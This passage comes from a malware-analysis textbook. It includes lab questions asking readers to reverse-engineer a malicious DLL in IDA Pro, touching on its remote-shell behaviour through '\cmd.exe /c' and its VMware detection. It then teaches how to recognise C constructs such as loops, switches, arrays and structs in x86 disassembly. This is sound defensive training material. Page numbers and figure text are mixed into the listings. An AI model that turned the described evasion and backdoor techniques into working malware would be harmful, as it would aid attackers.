This chapter offered only a cursory exposure to IDA Pro. Throughout this
book, we will use IDA Pro in our labs as we demonstrate interesting ways to
use it.
As you’ve seen, IDA Pro’s ability to view disassembly is only one small
aspect of its power. IDA Pro’s true power comes from its interactive ability,
and we’ve discussed ways to use it to mark up disassembly to help perform
analysis. We’ve also discussed ways to use IDA Pro to browse the assembly
code, including navigational browsing, utilizing the power of cross-references,
and viewing graphs, which all speed up the analysis process.
IDA Pro
107
L A B S
Lab 5-1
Analyze the malware found in the file Lab05-01.dll using only IDA Pro. The
goal of this lab is to give you hands-on experience with IDA Pro. If you’ve
already worked with IDA Pro, you may choose to ignore these questions and
focus on reverse-engineering the malware.
Questions
1.
What is the address of DllMain?
2.
Use the Imports window to browse to gethostbyname. Where is the import
located?
3.
How many functions call gethostbyname?
4.
Focusing on the call to gethostbyname located at 0x10001757, can you fig-
ure out which DNS request will be made?
5.
How many local variables has IDA Pro recognized for the subroutine at
0x10001656?
6.
How many parameters has IDA Pro recognized for the subroutine at
0x10001656?
7.
Use the Strings window to locate the string \cmd.exe /c in the disassembly.
Where is it located?
8.
What is happening in the area of code that references \cmd.exe /c?
9.
In the same area, at 0x100101C8, it looks like dword_1008E5C4 is a global
variable that helps decide which path to take. How does the malware set
dword_1008E5C4? (Hint: Use dword_1008E5C4’s cross-references.)
10. A few hundred lines into the subroutine at 0x1000FF58, a series of com-
parisons use memcmp to compare strings. What happens if the string compar-
ison to robotwork is successful (when memcmp returns 0)?
11. What does the export PSLIST do?
12. Use the graph mode to graph the cross-references from sub_10004E79.
Which API functions could be called by entering this function? Based on
the API functions alone, what could you rename this function?
13. How many Windows API functions does DllMain call directly? How many
at a depth of 2?
14. At 0x10001358, there is a call to Sleep (an API function that takes one
parameter containing the number of milliseconds to sleep). Looking
backward through the code, how long will the program sleep if this code
executes?
15. At 0x10001701 is a call to socket. What are the three parameters?
108
Chapter 5
16. Using the MSDN page for socket and the named symbolic constants func-
tionality in IDA Pro, can you make the parameters more meaningful?
What are the parameters after you apply changes?
17. Search for usage of the in instruction (opcode 0xED). This instruction is
used with a magic string VMXh to perform VMware detection. Is that in use
in this malware? Using the cross-references to the function that executes
the in instruction, is there further evidence of VMware detection?
18. Jump your cursor to 0x1001D988. What do you find?
19. If you have the IDA Python plug-in installed (included with the com-
mercial version of IDA Pro), run Lab05-01.py, an IDA Pro Python script
provided with the malware for this book. (Make sure the cursor is at
0x1001D988.) What happens after you run the script?
20. With the cursor in the same location, how do you turn this data into a
single ASCII string?
21. Open the script with a text editor. How does it work?
R E C O G N I Z I N G C C O D E
C O N S T R U C T S I N A S S E M B L Y
In Chapter 4, we reviewed the x86 architecture and
its most common instructions. But successful reverse
engineers do not evaluate each instruction individually
unless they must. The process is just too tedious, and
the instructions for an entire disassembled program can number in the
thousands or even millions. As a malware analyst, you must be able to obtain
a high-level picture of code functionality by analyzing instructions as groups,
focusing on individual instructions only as needed. This skill takes time to
develop.
Let’s begin by thinking about how a malware author develops code to
determine how to group instructions. Malware is typically developed using a
high-level language, most commonly C. A code construct is a code abstraction
level that defines a functional property but not the details of its implementa-
tion. Examples of code constructs include loops, if statements, linked lists,
switch statements, and so on. Programs can be broken down into individual
constructs that, when combined, implement the overall functionality of the
program.
This chapter is designed to start you on your way with a discussion of
more than ten different C code constructs. We’ll examine each construct in
assembly, although the purpose of this chapter is to assist you in doing the
110
Chapter 6
reverse: Your goal as a malware analyst will be to go from disassembly to high-
level constructs. Learning in this reverse direction is often easier, because
computer programmers are accustomed to reading and understanding
source code.
This chapter will focus on how the most common and difficult constructs,
such as loops and conditional statements, are compiled. After you’ve built a
foundation with these, you’ll learn how to develop a high-level picture of code
functionality quickly.
In addition to discussing the different constructs, we’ll also examine the
differences between compilers, because compiler versions and settings can
impact how a particular construct appears in disassembly. We’ll evaluate
two different ways that switch statements and function calls can be compiled
using different compilers. This chapter will dig fairly deeply into C code con-
structs, so the more you understand about C and programming in general,
the more you’ll get out of it. For help with the C language, have a look at the
classic The C Programming Language by Brian Kernighan and Dennis Ritchie
(Prentice-Hall, 1988). Most malware is written in C, although it is sometimes
written in Delphi and C++. C is a simple language with a close relationship to
assembly, so it is the most logical place for a new malware analyst to start.
As you read this chapter, remember that your goal is to understand the
overall functionality of a program, not to analyze every single instruction.
Keep this in mind, and don’t get bogged down with the minutiae. Focus on
the way programs work in general, not on how they do each particular thing.
Global vs. Local Variables
Global variables can be accessed and used by any function in a program.
Local variables can be accessed only by the function in which they are
defined. Both global and local variables are declared similarly in C, but
they look completely different in assembly.
Following are two examples of C code for both global and local variables.
Notice the subtle difference between the two. The global example, Listing 6-1,
defines x and y variables outside the function. In the local example, Listing 6-2,
the variables are defined within the function.
int x = 1;
int y = 2;
void main()
{
x = x+y;
printf("Total = %d\n", x);
}
Listing 6-1: A simple program with two global variables
void main()
{
int x = 1;
Recognizing C Code Constructs in Assembly
111
int y = 2;
x = x+y;
printf("Total = %d\n", x);
}
Listing 6-2: A simple program with two local variables
The difference between the global and local variables in these C code
examples is small, and in this case the program result is the same. But the dis-
assembly, shown in Listings 6-3 and 6-4, is quite different. The global variables
are referenced by memory addresses, and the local variables are referenced
by the stack addresses.
In Listing 6-3, the global variable x is signified by dword_40CF60, a memory
location at 0x40CF60. Notice that x is changed in memory when eax is moved
into dword_40CF60 at . All subsequent functions that utilize this variable will
be impacted.
00401003 mov eax, dword_40CF60
00401008 add eax, dword_40C000
0040100E mov dword_40CF60, eax
00401013 mov ecx, dword_40CF60
00401019 push ecx
0040101A push offset aTotalD ;"total = %d\n"
0040101F call printf
Listing 6-3: Assembly code for the global variable example in Listing 6-1
In Listings 6-4 and 6-5, the local variable x is located on the stack at a
constant offset relative to ebp. In Listing 6-4, memory location [ebp-4] is
used consistently throughout this function to reference the local variable x.
This tells us that ebp-4 is a stack-based local variable that is referenced only
in the function in which it is defined.
00401006 mov dword ptr [ebp-4], 0
0040100D mov dword ptr [ebp-8], 1
00401014 mov eax, [ebp-4]
00401017 add eax, [ebp-8]
0040101A mov [ebp-4], eax
0040101D mov ecx, [ebp-4]
00401020 push ecx
00401021 push offset aTotalD ; "total = %d\n"
00401026 call printf
Listing 6-4: Assembly code for the local variable example in Listing 6-2, without labeling
In Listing 6-5, x has been nicely labeled by IDA Pro Disassembler with
the dummy name var_4. As we discussed in Chapter 5, dummy names can be
renamed to meaningful names that reflect their function. Having this local
variable named var_4 instead of -4 simplifies your analysis, because once you
rename var_4 to x, you won’t need to track the offset -4 in your head through-
out the function.
112
Chapter 6
00401006 mov [ebp+var_4], 0
0040100D mov [ebp+var_8], 1
00401014 mov eax, [ebp+var_4]
00401017 add eax, [ebp+var_8]
0040101A mov [ebp+var_4], eax
0040101D mov ecx, [ebp+var_4]
00401020 push ecx
00401021 push offset aTotalD ; "total = %d\n"
00401026 call printf
Listing 6-5: Assembly code for the local variable example shown in Listing 6-2, with labeling
Disassembling Arithmetic Operations
Many different types of math operations can be performed in C program-
ming, and we’ll present the disassembly of those operations in this section.
Listing 6-6 shows the C code for two variables and a variety of arithmetic
operations. Two of these are the -- and ++ operations, which are used to dec-
rement by 1 and increment by 1, respectively. The % operation performs the
modulo between the two variables, which is the remainder after performing a
division operation.
int a = 0;
int b = 1;
a = a + 11;
a = a - b;
a--;
b++;
b = a % 3;
Listing 6-6: C code with two variables and a variety of arithmetic
Listing 6-7 shows the assembly for the C code shown in Listing 6-6, which
can be broken down to translate back to C.
00401006 mov [ebp+var_4], 0
0040100D mov [ebp+var_8], 1
00401014 mov eax, [ebp+var_4]
00401017 add eax, 0Bh
0040101A mov [ebp+var_4], eax
0040101D mov ecx, [ebp+var_4]
00401020 sub ecx, [ebp+var_8]
00401023 mov [ebp+var_4], ecx
00401026 mov edx, [ebp+var_4]
00401029 sub edx, 1
0040102C mov [ebp+var_4], edx
0040102F mov eax, [ebp+var_8]
00401032 add eax, 1
00401035 mov [ebp+var_8], eax
00401038 mov eax, [ebp+var_4]
0040103B cdq
0040103C mov ecx, 3
Recognizing C Code Constructs in Assembly
113
00401041 idiv ecx
00401043 mov [ebp+var_8], edx
Listing 6-7: Assembly code for the arithmetic example in Listing 6-6
In this example, a and b are local variables because they are referenced
by the stack. IDA Pro has labeled a as var_4 and b as var_8. First, var_4 and
var_8 are initialized to 0 and 1, respectively. a is moved into eax , and then
0x0b is added to eax, thereby incrementing a by 11. b is then subtracted
from a . (The compiler decided to use the sub and add instructions
and , instead of the inc and dec functions.)
The final five assembly instructions implement the modulo. When per-
forming the div or idiv instruction , you are dividing edx:eax by the operand
and storing the result in eax and the remainder in edx. That is why edx is moved
into var_8 .
Recognizing if Statements
Programmers use if statements to alter program execution based on certain
conditions. if statements are common in C code and disassembly. We’ll exam-
ine basic and nested if statements in this section. Your goal should be to learn
how to recognize different types of if statements.
Listing 6-8 displays a simple if statement in C with the assembly for this
code shown in Listing 6-9. Notice the conditional jump jnz at . There must
be a conditional jump for an if statement, but not all conditional jumps cor-
respond to if statements.
int x = 1;
int y = 2;
if(x == y){
printf("x equals y.\n");
}else{
printf("x is not equal to y.\n");
}
Listing 6-8: C code if statement example
00401006 mov
[ebp+var_8], 1
0040100D mov
[ebp+var_4], 2
00401014 mov
eax, [ebp+var_8]
00401017 cmp
eax, [ebp+var_4]
0040101A jnz
short loc_40102B
0040101C push
offset aXEqualsY_ ; "x equals y.\n"
00401021 call
printf
00401026 add
esp, 4
00401029 jmp
short loc_401038
0040102B loc_40102B:
0040102B push
offset aXIsNotEqualToY ; "x is not equal to y.\n"
00401030 call
printf
Listing 6-9: Assembly code for the if statement example in Listing 6-8
114
Chapter 6
As you can see in Listing 6-9, a decision must be made before the code
inside the if statement in Listing 6-8 will execute. This decision corresponds
to the conditional jump (jnz) shown at . The decision to jump is made
based on the comparison (cmp), which checks to see if var_4 equals var_8
(var_4 and var_8 correspond to x and y in our source code) at . If the values
are not equal, the jump occurs, and the code prints "x is not equal to y.";
otherwise, the code continues the path of execution and prints "x equals y."
Notice also the jump (jmp) that jumps over the else section of the code
at . It is important that you recognize that only one of these two code paths
can be taken.
Analyzing Functions Graphically with IDA Pro
IDA Pro has a graphing tool that is useful in recognizing constructs, as shown
in Figure 6-1. This feature is the default view for analyzing functions.
Figure 6-1 shows a graph of the assembly code example in Listing 6-9.
As you can see, two different paths ( and ) of code execution lead to the
end of the function, and each path prints a different string. Code path will
print "x equals y.", and will print "x is not equal to y."
IDA Pro adds false and true labels at the decision points at the
bottom of the upper code box. As you can imagine, graphing a function
can greatly speed up the reverse-engineering process.
Recognizing Nested if Statements
Listing 6-10 shows C code for a nested if statement that is similar to Listing 6-8,
except that two additional if statements have been added within the original
if statement. These additional statements test to determine whether z is equal
to 0.
int x = 0;
int y = 1;
int z = 2;
if(x == y){
if(z==0){
printf("z is zero and x = y.\n");
}else{
printf("z is non-zero and x = y.\n");
}
}else{
if(z==0){
printf("z zero and x != y.\n");
}else{
printf("z non-zero and x != y.\n");
}
}
Listing 6-10: C code for a nested if statement
Recognizing C Code Constructs in Assembly
115
Figure 6-1: Disassembly graph for the if statement example in Listing 6-9
Despite this minor change to the C code, the assembly code is more com-
plicated, as shown in Listing 6-11.
00401006 mov [ebp+var_8], 0
0040100D mov [ebp+var_4], 1
00401014 mov [ebp+var_C], 2
0040101B mov eax, [ebp+var_8]
0040101E cmp eax, [ebp+var_4]
00401021 jnz short loc_401047
00401023 cmp [ebp+var_C], 0
00401027 jnz short loc_401038
00401029 push offset aZIsZeroAndXY_ ; "z is zero and x = y.\n"
0040102E call printf
00401033 add esp, 4
00401036 jmp short loc_401045
00401038 loc_401038:
00401038 push offset aZIsNonZeroAndX ; "z is non-zero and x = y.\n"
0040103D call printf
00401042 add esp, 4
sub_401000:
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 1
mov [ebp+var_4], 2
mov eax, [ebp+var_8]
cmp eax, [ebp+var_4]
jnz short loc_40102B
push offset aXEqualsY_; "x equals y.\n"
call sub_40103E
add esp, 4
jmp short loc_401038
loc_40102B:
push offset aXIsNotEqualToY; "x is not equal to y.\n"
call sub_40103E
add esp, 4
loc_401038:
xor eax, eax
mov esp, ebp
pop ebp
retn
false
true
116
Chapter 6
00401045 loc_401045:
00401045 jmp short loc_401069
00401047 loc_401047:
00401047 cmp [ebp+var_C], 0
0040104B jnz short loc_40105C
0040104D push offset aZZeroAndXY_ ; "z zero and x != y.\n"
00401052 call printf
00401057 add esp, 4
0040105A jmp short loc_401069
0040105C loc_40105C:
0040105C push offset aZNonZeroAndXY_ ; "z non-zero and x != y.\n"
00401061 call printf00401061
Listing 6-11: Assembly code for the nested if statement example shown in Listing 6-10
As you can see, three different conditional jumps occur. The first occurs
if var_4 does not equal var_8 at . The other two occur if var_C is not equal to
zero at and .
Recognizing Loops
Loops and repetitive tasks are very common in all software, and it is impor-
tant that you are able to recognize them.
Finding for Loops
The for loop is a basic looping mechanism used in C programming. for loops
always have four components: initialization, comparison, execution instruc-
tions, and the increment or decrement.
Listing 6-12 shows an example of a for loop.
int i;
for(i=0; i<100; i++)
{
printf("i equals %d\n", i);
}
Listing 6-12: C code for a for loop
In this example, the initialization sets i to 0 (zero), and the comparison
checks to see if i is less than 100. If i is less than 100, the printf instruction
will execute, the increment will add 1 to i, and the process will check to see
if i is less than 100. These steps will repeat until i is greater than or equal
to 100.
In assembly, the for loop can be recognized by locating the four compo-
nents—initialization, comparison, execution instructions, and increment/
decrement. For example, in Listing 6-13, corresponds to the initialization
step. The code between and corresponds to the increment that is ini-
tially jumped over at with a jump instruction. The comparison occurs at ,
and at , the decision is made by the conditional jump. If the jump is not
Recognizing C Code Constructs in Assembly
117
taken, the printf instruction will execute, and an unconditional jump occurs
at , which causes the increment to occur.
00401004 mov [ebp+var_4], 0
0040100B jmp short loc_401016
0040100D loc_40100D:
0040100D mov eax, [ebp+var_4]
00401010 add eax, 1
00401013 mov [ebp+var_4], eax
00401016 loc_401016:
00401016 cmp [ebp+var_4], 64h
0040101A jge short loc_40102F
0040101C mov ecx, [ebp+var_4]
0040101F push ecx
00401020 push offset aID ; "i equals %d\n"
00401025 call printf
0040102A add esp, 8
0040102D jmp short loc_40100D
Listing 6-13: Assembly code for the for loop example in Listing 6-12
A for loop can be recognized using IDA Pro’s graphing mode, as shown
in Figure 6-2.
Figure 6-2: Disassembly graph for the for loop example in Listing 6-13
sub_401000:
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_401016
loc_401016:
cmp [ebp+var_4], 64h
jge short loc_40102F
mov ecx, [ebp+var_4]
push ecx
push offset aIEqualsD; "i equals %d\n"
call sub_401035
add esp, 8
jmp short loc_40100D
loc_40100D:
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_40102F:
xor eax, eax
mov esp, ebp
pop ebp
retn
false
true
118
Chapter 6
In the figure, the upward pointing arrow after the increment code indi-
cates a loop. These arrows make loops easier to recognize in the graph view
than in the standard disassembly view. The graph displays five boxes: The top
four are the components of the for loop (initialization, comparison, execu-
tion, and increment, in that order). The box on the bottom right is the func-
tion epilogue, which we described in Chapter 4 as the portion of a function
responsible for cleaning up the stack and returning.
Finding while Loops
The while loop is frequently used by malware authors to loop until a condi-
tion is met, such as receiving a packet or command. while loops look similar
to for loops in assembly, but they are easier to understand. The while loop in
Listing 6-14 will continue to loop until the status returned from checkResult
is 0.
int status=0;
int result = 0;
while(status == 0){
result = performAction();
status = checkResult(result);
}
Listing 6-14: C code for a while loop
The assembly code in Listing 6-15 looks similar to the for loop, except
that it lacks an increment section. A conditional jump occurs at and an
unconditional jump at , but the only way for this code to stop executing
repeatedly is for that conditional jump to occur.
00401036 mov [ebp+var_4], 0
0040103D mov [ebp+var_8], 0
00401044 loc_401044:
00401044 cmp [ebp+var_4], 0
00401048 jnz short loc_401063
0040104A call performAction
0040104F mov [ebp+var_8], eax
00401052 mov eax, [ebp+var_8]
00401055 push eax
00401056 call checkResult
0040105B add esp, 4
0040105E mov [ebp+var_4], eax
00401061 jmp short loc_401044
Listing 6-15: Assembly code for the while loop example in Listing 6-14
Recognizing C Code Constructs in Assembly
119
Understanding Function Call Conventions
In Chapter 4, we discussed how the stack and the call instruction are used
for function calls. Function calls can appear differently in assembly code,
and calling conventions govern the way the function call occurs. These
conventions include the order in which parameters are placed on the stack
or in registers, and whether the caller or the function called (the callee) is
responsible for cleaning up the stack when the function is complete.
The calling convention used depends on the compiler, among other
factors. There are often subtle differences in how compilers implement
these conventions, so it can be difficult to interface code that is compiled
by different compilers. However, you need to follow certain conventions
when using the Windows API, and these are uniformly implemented for
compatibility (as discussed in Chapter 7).
We will use the pseudocode in Listing 6-16 to describe each of the calling
conventions.
int test(int x, int y, int z);
int a, b, c, ret;
ret = test(a, b, c);
Listing 6-16: Pseudocode for a function call
The three most common calling conventions you will encounter are
cdecl, stdcall, and fastcall. We discuss the key differences between them in
the following sections.
NOTE
Although the same conventions can be implemented differently between compilers, we’ll
focus on the most common ways they are used.
cdecl
cdecl is one of the most popular conventions and was described in Chapter 4
when we introduced the stack and function calls. In cdecl, parameters are
pushed onto the stack from right to left, the caller cleans up the stack when
the function is complete, and the return value is stored in EAX. Listing 6-17
shows an example of what the disassembly would look like if the code in List-
ing 6-16 were compiled to use cdecl.
push c
push b
push a
call test
add esp, 12
mov ret, eax
Listing 6-17: cdecl function call
120
Chapter 6
Notice in the highlighted portion that the stack is cleaned up by the
caller. In this example, the parameters are pushed onto the stack from right
to left, beginning with c.
stdcall
The popular stdcall convention is similar to cdecl, except stdcall requires the
callee to clean up the stack when the function is complete. Therefore, the add
instruction highlighted in Listing 6-17 would not be needed if the stdcall
convention were used, since the function called would be responsible for
cleaning up the stack.
The test function in Listing 6-16 would be compiled differently under
stdcall, because it must be concerned with cleaning up the stack. Its epilogue
would need to take care of the cleanup.
stdcall is the standard calling convention for the Windows API. Any code
calling these API functions will not need to clean up the stack, since that’s
the responsibility of the DLLs that implement the code for the API function.
fastcall
The fastcall calling convention varies the most across compilers, but it gener-
ally works similarly in all cases. In fastcall, the first few arguments (typically
two) are passed in registers, with the most commonly used registers being
EDX and ECX (the Microsoft fastcall convention). Additional arguments
are loaded from right to left, and the calling function is usually responsible
for cleaning up the stack, if necessary. It is often more efficient to use fastcall
than other conventions, because the code doesn’t need to involve the stack
as much.
Push vs. Move
In addition to using the different calling conventions described so far, com-
pilers may also choose to use different instructions to perform the same
operation, usually when the compiler decides to move rather than push
things onto the stack. Listing 6-18 shows a C code example of a function
call. The function adder adds two arguments and returns the result. The
main function calls adder and prints the result using printf.
int adder(int a, int b)
{
return a+b;
}
void main()
{
int x = 1;
int y = 2;
printf("the function returned the number %d\n", adder(x,y));
}
Listing 6-18: C code for a function call
Recognizing C Code Constructs in Assembly
121
The assembly code for the adder function is consistent across compil-
ers and is displayed in Listing 6-19. As you can see, this code adds arg_0 to
arg_4 and stores the result in EAX. (As discussed in Chapter 4, EAX stores the
return value.)
00401730 push ebp
00401731 mov ebp, esp
00401733 mov eax, [ebp+arg_0]
00401736 add eax, [ebp+arg_4]
00401739 pop ebp
0040173A retn
Listing 6-19: Assembly code for the adder function in Listing 6-18
Table 6-1 displays different calling conventions used by two different
compilers: Microsoft Visual Studio and GNU Compiler Collection (GCC).
On the left, the parameters for adder and printf are pushed onto the stack
before the call. On the right, the parameters are moved onto the stack before
the call. You should be prepared for both types of calling conventions, because
as an analyst, you won’t have control over the compiler. For example, one
instruction on the left does not correspond to any instruction on the right.
This instruction restores the stack pointer, which is not necessary on the
right because the stack pointer is never altered.
NOTE
Remember that even when the same compiler is used, there can be differences in calling
conventions depending on the various settings and options.
Analyzing switch Statements
switch statements are used by programmers (and malware authors) to make a
decision based on a character or integer. For example, backdoors commonly
select from a series of actions using a single byte value. switch statements are
compiled in two common ways: using the if style or using jump tables.
Table 6-1: Assembly Code for a Function Call with Two Different Calling Conventions
Visual Studio version
GCC version
00401746 mov [ebp+var_4], 1
0040174D mov [ebp+var_8], 2
00401754 mov eax, [ebp+var_8]
00401757 push eax
00401758 mov ecx, [ebp+var_4]
0040175B push ecx
0040175C call adder
00401761 add esp, 8
00401764 push eax
00401765 push offset TheFunctionRet
0040176A call ds:printf
00401085 mov [ebp+var_4], 1
0040108C mov [ebp+var_8], 2
00401093 mov eax, [ebp+var_8]
00401096 mov [esp+4], eax
0040109A mov eax, [ebp+var_4]
0040109D mov [esp], eax
004010A0 call adder
004010A5 mov [esp+4], eax
004010A9 mov
[esp], offset TheFunctionRet
004010B0 call printf
122
Chapter 6
If Style
Listing 6-20 shows a simple switch statement that uses the variable i. Depending
on the value of i, the code under the corresponding case value will be executed.
switch(i)
{
case 1:
printf("i = %d", i+1);
break;
case 2:
printf("i = %d", i+2);
break;
case 3:
printf("i = %d", i+3);
break;
default:
break;
}
Listing 6-20: C code for a three-option switch statement
This switch statement has been compiled into the assembly code shown
in Listing 6-21. It contains a series of conditional jumps between and .
The conditional jump determination is made by the comparison that occurs
directly before each jump.
The switch statement has three options, shown at , , and . These
code sections are independent of each other because of the unconditional
jumps to the end of the listing. (You’ll probably find that switch statements
are easier to understand using the graph shown in Figure 6-3.)
00401013 cmp [ebp+var_8], 1
00401017 jz short loc_401027
00401019 cmp [ebp+var_8], 2
0040101D jz short loc_40103D
0040101F cmp [ebp+var_8], 3
00401023 jz short loc_401053
00401025 jmp short loc_401067
00401027 loc_401027:
00401027 mov ecx, [ebp+var_4]
0040102A add ecx, 1
0040102D push ecx
0040102E push offset unk_40C000 ; i = %d
00401033 call printf
00401038 add esp, 8
0040103B jmp short loc_401067
0040103D loc_40103D:
0040103D mov edx, [ebp+var_4]
00401040 add edx, 2
00401043 push edx
00401044 push offset unk_40C004 ; i = %d
00401049 call printf
0040104E add esp, 8
00401051 jmp short loc_401067
Recognizing C Code Constructs in Assembly
123
00401053 loc_401053:
00401053 mov eax, [ebp+var_4]
00401056 add eax, 3
00401059 push eax
0040105A push offset unk_40C008 ; i = %d
0040105F call printf
00401064 add esp, 8
Listing 6-21: Assembly code for the switch statement example in Listing 6-20
Figure 6-3 breaks down each of the switch options by splitting up the code
to be executed from the next decision to be made. Three of the boxes in the
figure, labeled , , and , correspond directly to the case statement’s three
different options. Notice that all of these boxes terminate at the bottom box,
which is the end of the function. You should be able to use this graph to see
the three checks the code must go through when var_8 is greater than 3.
From this disassembly, it is difficult, if not impossible, to know whether
the original code was a switch statement or a sequence of if statements,
because a compiled switch statement looks like a group of if statements—
both can contain a bunch of cmp and Jcc instructions. When performing your
disassembly, you may not always be able to get back to the original source
code, because there may be multiple ways to represent the same code con-
structs in assembly, all of which are valid and equivalent.
Jump Table
The next disassembly example is commonly found with large, contiguous
switch statements. The compiler optimizes the code to avoid needing to make
so many comparisons. For example, if in Listing 6-20 the value of i were 3,
three different comparisons would take place before the third case was exe-
cuted. In Listing 6-22, we add one case to Listing 6-20 (as you can see by com-
paring the listings), but the assembly code generated is drastically different.
switch(i)
{
case 1:
printf("i = %d", i+1);
break;
case 2:
printf("i = %d", i+2);
break;
case 3:
printf("i = %d", i+3);
break;
case 4:
printf("i = %d", i+3);
break;
default:
break;
}
Listing 6-22: C code for a four-option switch statement
124
Chapter 6
Figure 6-3: Disassembly graph of the if style switch statement example in Listing 6-21
sub_401000:
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 3
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
cmp [ebp+var_8], 1
jz short loc_401027
00401019:
cmp [ebp+var_8], 2
jz short loc_40103D
0040101F:
cmp [ebp+var_8], 3
jz short loc_401053
00401025:
jmp short loc_401067
loc_401067:
xor eax, eax
mov esp, ebp
pop ebp
retn
false
true
true
false
true
false
loc_401027:
mov ecx, [ebp+var_4]
add ecx, 1
push ecx
push offset aID ; "i = %d"
call sub_40106D
add esp, 8
jmp short loc_401067
loc_40103D:
mov edx, [ebp+var_4]
add edx, 2
push edx
push offset aID_0 ; "i = %d"
call sub_40106D
add esp, 8
jmp short loc_401067
loc_401053:
mov eax, [ebp+var_4]
add eax, 3
push eax
push offset aID_1 ; "i = %d"
call sub_40106D
add esp, 8
Recognizing C Code Constructs in Assembly
125
The more efficient assembly code in Listing 6-23 uses a jump table, shown
at , which defines offsets to additional memory locations. The switch vari-
able is used as an index into the jump table.
In this example, ecx contains the switch variable, and 1 is subtracted from
it in the first line. In the C code, the switch table range is 1 through 4, and
the assembly code must adjust it to 0 through 3 so that the jump table can be
properly indexed. The jump instruction at is where the target is based on
the jump table.
In this jump instruction, edx is multiplied by 4 and added to the base of
the jump table (0x401088) to determine which case code block to jump to. It
is multiplied by 4 because each entry in the jump table is an address that is
4 bytes in size.
00401016 sub ecx, 1
00401019 mov [ebp+var_8], ecx
0040101C cmp [ebp+var_8], 3
00401020 ja short loc_401082
00401022 mov edx, [ebp+var_8]
00401025 jmp ds:off_401088[edx*4]
0040102C
loc_40102C:
...
00401040 jmp short loc_401082
00401042
loc_401042:
...
00401056 jmp short loc_401082
00401058
loc_401058:
...
0040106C jmp short loc_401082
0040106E
loc_40106E:
...
00401082
loc_401082:
00401082 xor eax, eax
00401084 mov esp, ebp
00401086 pop ebp
00401087 retn
00401087
_main endp
00401088 off_401088 dd offset loc_40102C
0040108C dd offset loc_401042
00401090 dd offset loc_401058
00401094 dd offset loc_40106E
Listing 6-23: Assembly code for the switch statement example in Listing 6-22
The graph in Figure 6-4 for this type of switch statement is clearer than
the standard disassembly view.
126
Chapter 6
Figure 6-4: Disassembly graph of jump table switch statement example
As you can see, each of the four cases is broken down clearly into sepa-
rate assembly code chunks. These chunks appear one after another in a col-
umn after the jump table determines which one to use. Notice that all of
these boxes and the initial box terminate at the right box, which is the end
of the function.
sub_401000:
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 3
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_8], 3
ja short loc_401082
mov edx, [ebp+var_8]
jmp ds:off_401088[edx*4]
loc_40106E:
mov eax, [ebp+var_4]
add eax, 3
push eax
push offset aID_2 ; "i = %d"
call sub_401098
add esp, 8
loc_401042:
mov ecx, [ebp+var_4]
add ecx, 2
push ecx
push offset aID_0 ; "i = %d"
call sub_401098
add esp, 8
jmp short loc_401082
loc_401058:
mov edx, [ebp+var_4]
add edx, 3
push edx
push offset aID_1 ; "i = %d"
call sub_401098
add esp, 8
jmp short loc_401082
loc_40102C:
mov eax, [ebp+var_4]
add eax, 1
push eax
push offset aID ; "i = %d"
call sub_401098
add esp, 8
jmp short loc_401082
loc_401082:
xor eax, eax
mov esp, ebp
pop ebp
retn
true
false
Recognizing C Code Constructs in Assembly
127
Disassembling Arrays
Arrays are used by programmers to define an ordered set of similar data
items. Malware sometimes uses an array of pointers to strings that contain
multiple hostnames that are used as options for connections.
Listing 6-24 shows two arrays used by one program, both of which are
set during the iteration through the for loop. Array a is locally defined, and
array b is globally defined. These definitions will impact the assembly code.
int b[5] = {123,87,487,7,978};
void main()
{
int i;
int a[5];
for(i = 0; i<5; i++)
{
a[i] = i;
b[i] = i;
}
}
Listing 6-24: C code for an array
In assembly, arrays are accessed using a base address as a starting point.
The size of each element is not always obvious, but it can be determined by
seeing how the array is being indexed. Listing 6-25 shows the assembly code
for Listing 6-24.
00401006 mov [ebp+var_18], 0
0040100D jmp short loc_401018
0040100F loc_40100F:
0040100F mov eax, [ebp+var_18]
00401012 add eax, 1
00401015 mov [ebp+var_18], eax
00401018 loc_401018:
00401018 cmp [ebp+var_18], 5
0040101C jge short loc_401037
0040101E mov ecx, [ebp+var_18]
00401021 mov edx, [ebp+var_18]
00401024 mov [ebp+ecx*4+var_14], edx
00401028 mov eax, [ebp+var_18]
0040102B mov ecx, [ebp+var_18]
0040102E mov dword_40A000[ecx*4], eax
00401035 jmp short loc_40100F
Listing 6-25: Assembly code for the array in Listing 6-24
128
Chapter 6
In this listing, the base address of array b corresponds to dword_40A000,
and the base address of array a corresponds to var_14. Since these are both
arrays of integers, each element is of size 4, although the instructions at
and differ for accessing the two arrays. In both cases, ecx is used as the
index, which is multiplied by 4 to account for the size of the elements. The
resulting value is added to the base address of the array to access the proper
array element.
Identifying Structs
Structures (or structs, for short) are similar to arrays, but they comprise ele-
ments of different types. Structures are commonly used by malware authors
to group information. It’s sometimes easier to use a structure than to main-
tain many different variables independently, especially if many functions
need access to the same group of variables. (Windows API functions often
use structures that must be created and maintained by the calling program.)
In Listing 6-26, we define a structure at made up of an integer array, a
character, and a double. In main, we allocate memory for the structure and
pass the struct to the test function. The struct gms defined at is a global
variable.
struct my_structure {
int x[5];
char y;
double z;
};
struct my_structure *gms;
void test(struct my_structure *q)
{
int i;
q->y = 'a';
q->z = 15.6;
for(i = 0; i<5; i++){
q->x[i] = i;
}
}
void main()
{
gms = (struct my_structure *) malloc(
sizeof(struct my_structure));
test(gms);
}
Listing 6-26: C code for a struct example
Recognizing C Code Constructs in Assembly
129
Structures (like arrays) are accessed with a base address used as a starting
pointer. It is difficult to determine whether nearby data types are part of the
same struct or whether they just happen to be next to each other. Depending
on the structure’s context, your ability to identify a structure can have a sig-
nificant impact on your ability to analyze malware.
Listing 6-27 shows the main function from Listing 6-26, disassembled.
Since the struct gms is a global variable, its base address will be the memory
location dword_40EA30 as shown in Listing 6-27. The base address of this struc-
ture is passed to the sub_401000 (test) function via the push eax at .
00401050 push ebp
00401051 mov ebp, esp
00401053 push 20h
00401055 call malloc
0040105A add esp, 4
0040105D mov dword_40EA30, eax
00401062 mov eax, dword_40EA30
00401067 push eax
00401068 call sub_401000
0040106D add esp, 4
00401070 xor eax, eax
00401072 pop ebp
00401073 retn
Listing 6-27: Assembly code for the main function in the struct example in Listing 6-26
